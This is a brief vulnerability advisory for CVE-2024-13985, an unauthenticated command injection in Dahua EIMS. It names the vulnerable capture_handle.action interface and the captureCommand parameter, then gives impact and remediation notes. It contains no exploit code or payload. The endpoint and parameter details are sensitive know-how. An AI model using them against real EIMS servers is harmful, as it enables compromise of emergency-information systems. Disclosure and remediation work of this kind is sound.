CVE-2024-13985: Dahua EIMS - Unauthenticated Remote Code Execution via capture_handle

2026-08-16 Dahua EIMS PoC Public

Description

A command injection vulnerability in Dahua EIMS versions prior to 2240008 allows unauthenticated remote attackers to execute arbitrary system commands via the capture_handle.action interface. The flaw stems from improper input validation in the captureCommand parameter, which is processed without sanitization or authentication. By sending crafted HTTP requests, attackers can inject OS-level commands that are executed on the server, leading to full system compromise. Exploitation evidence was first observed by the Shadowserver Foundation on 2024-04-06 UTC.

  impact: |
    Complete unauthenticated server compromise. An attacker can read/write arbitrary files, install backdoors, pivot to the internal network, or disrupt emergency information services.
  remediation: |
    Apply the latest security patches from Dahua Security for the EIMS platform. Restrict access to the EIMS management interface to trusted IP ranges only. Place a WAF rule to block requests containing captureCommand to capture_handle.action.
